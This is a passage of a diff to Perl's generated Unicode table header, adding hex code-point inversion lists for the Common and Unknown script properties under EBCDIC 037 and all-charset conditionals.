+	0x8E2,
+	0x8E3,
+	0xE3F,
+	0xE40,
+	0xFD5,
+	0xFD9,
+	0x16EB,
+	0x16EE,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2E00,
+	0x2E43,
+	0x2E44,
+	0x2E4A,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3037,
+	0x3248,
+	0x3260,
+	0x327F,
+	0x3280,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3371,
+	0x337B,
+	0x3380,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xAB5B,
+	0xAB5C,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
 	0xFF21,
-	0xFF27,
+	0xFF3B,
 	0xFF41,
-	0xFF47
+	0xFF5B,
+	0xFF61,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FD,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D300,
+	0x1D357,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 1047 */
 
-#endif	/* EBCDIC 037 */
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
+static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 037 */
+	298,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x605,
+	0x606,
+	0x6DD,
+	0x6DE,
+	0x8E2,
+	0x8E3,
+	0xE3F,
+	0xE40,
+	0xFD5,
+	0xFD9,
+	0x16EB,
+	0x16EE,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2E00,
+	0x2E43,
+	0x2E44,
+	0x2E4A,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3037,
+	0x3248,
+	0x3260,
+	0x327F,
+	0x3280,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3371,
+	0x337B,
+	0x3380,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xAB5B,
+	0xAB5C,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF61,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FD,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D300,
+	0x1D357,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_ZZZZ_invlist[] = { /* for all charsets */
+	1294,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
